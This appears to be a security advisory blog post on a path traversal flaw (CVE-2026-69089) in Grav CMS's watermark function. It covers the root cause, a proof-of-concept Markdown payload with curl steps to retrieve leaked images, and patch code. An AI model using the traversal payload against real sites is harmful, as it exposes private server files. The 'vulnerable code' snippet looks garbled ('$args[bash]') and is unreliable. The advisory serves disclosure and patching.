Listen to this Post
Grav CMS version 2.0.10 contains a path traversal vulnerability within the `ImageMedium::watermark()` method. This function is part of the core media processing system and is designed to apply a watermark image to a carrier image. The flaw arises because the `$image` argument, which specifies the watermark, is passed without proper sanitization to the `RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator::findResource()` method. This resource locator is responsible for resolving paths to files within the application. The core of the issue lies in how this locator handles the `file://` scheme. It performs a purely lexical normalization of `../` segments. This means it simply counts and removes directory traversal sequences as text, without ever verifying the final, resolved path against the application’s intended media sandbox boundaries using functions like realpath(). As a result, a sufficiently long traversal string, such as ../../../../../../etc/passwd, can successfully escape the designated media directory. If the path resolves to a valid image file on the server, the watermarking process will open it, composite its pixels onto the carrier image, and then save the output as a cached derivative. This cached image is then publicly accessible via an unauthenticated URL. Consequently, an attacker with editor-level privileges, who can author Markdown image syntax, can exfiltrate arbitrary image files from outside the webroot. The vulnerability was reported by Nihad Huseynli and is tracked as CVE-2026-69089, with a CVSS score of 8.7. The root cause was addressed in version 2.0.11 by adding containment checks to ensure resolved paths remain within the allowed media directories. The attack vector requires a user with page-edit permissions but does not require administrative super-user access. The impact extends to any anonymous visitor who accesses the compromised page, as the exfiltrated data is served to them via a public cache URL.
DailyCVE Form:
Platform: Grav CMS
Version: 2.0.10
Vulnerability: Path Traversal
Severity: High
date: 2026-08-03
Prediction: 2026-07-14
What Undercode Say:
Analytics
Check Grav version composer show getgrav/grav | grep versions Check for vulnerable toolbox version composer show rockettheme/toolbox | grep versions Sample exploitation via Markdown image syntax (conceptual) In a page's Markdown: <img src="carrier.png?watermark=../../../../../../var/www/secret.png" alt="carrier" />
// Vulnerable code snippet (conceptual)
// UniformResourceLocator.php
if ($scheme === 'file') {
if (!$all && !file_exists($file)) {
// ...
} else {
$this->cache[$key] = $array ? [$file] : $file; // <-- returned as-is
}
}
// ImageMedium::watermark()
$file = $args[bash] ?? '1';
$watermark = $locator->findResource($file); // No validation
$watermark = ImageFile::open($watermark);
Exploit: (Educational Purposes!)
1. Prepare a secret image outside the webroot
Place a solid red 200x200 PNG named secret_outside_root.png in the parent directory of the Grav installation.
2. As an editor user, create a page with the following Markdown content:
<img src="carrier.png?watermark=../../../../secret_outside_root.png" alt="carrier" />
3. Request the page as an anonymous user
curl http://target-site/poc
4. Extract the cached image URL from the HTML response
Example: /images/b/2/8/2/2/b282200a65ce979377963180629babd2335212ba-carrier.png
5. Fetch the cached image and verify the composited content
curl http://target-site/images/b/2/8/2/2/b282200a65ce979377963180629babd2335212ba-carrier.png -o result.png
6. Verify the exfiltration (center pixel should be red from the secret file)
Use a tool like ImageMagick to sample the center pixel:
convert result.png -format "%[pixel:p{100,100}]" info:
Expected output: srgb(255,0,0)
Protection: from this CVE
Upgrade Grav CMS to version 2.0.11 or higher composer update getgrav/grav Verify the installed version composer show getgrav/grav | grep versions Clear the Grav cache to remove any previously generated malicious derivatives bin/grav clear-cache
// Suggested fix in UniformResourceLocator::findCached()
// Resolve the candidate path and verify containment
if ($scheme === 'file') {
$real = realpath($file);
$base = realpath($this->base);
if ($real === false || strpos($real, $base) !== 0) {
$this->cache[$key] = $array ? [] : false;
} else {
$this->cache[$key] = $array ? [$real] : $real;
}
}
// Suggested fix in ImageMedium::watermark()
// Restrict the image argument to a safe filename
if (preg_match('[\/]', $image) || strpos($image, '..') !== false) {
throw new \InvalidArgumentException('Invalid watermark image path');
}
Impact
- Confidentiality Breach: Arbitrary files on the server filesystem that are decodable images (e.g., PNG, JPEG, GIF) can be read by unauthorized users. This could include sensitive documents, configuration files, or private user data.
- Public Exposure: The exfiltrated data is not limited to the attacker’s session. Because the composited image is cached and served from a public URL, any anonymous visitor to the site can access the leaked content.
- Privilege Escalation: A low-privileged editor account, which typically should only manage its own content, can escape its content sandbox and access files far outside its intended scope. This violates the trust boundary defined in Grav’s security model.
- Persistence: The maliciously composited image remains cached on the server until the cache is manually cleared or expires. This means the data remains accessible long after the initial exploit, increasing the window of exposure.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

